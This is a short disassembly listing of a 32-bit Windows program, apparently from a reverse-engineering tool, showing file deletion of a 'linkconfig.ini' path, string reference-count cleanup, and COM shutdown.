mov eax, dword [eax]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
add esp, 8
push eax
call edi
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404379
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x3c]
push edx
mov ebx, str.linkconfig.ini
call fcn.00402b90
mov eax, dword [eax]
add esp, 8
push eax
call edi
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4043b5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4037cd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x4037cd
push 0x80070057
call fcn.00401740
int3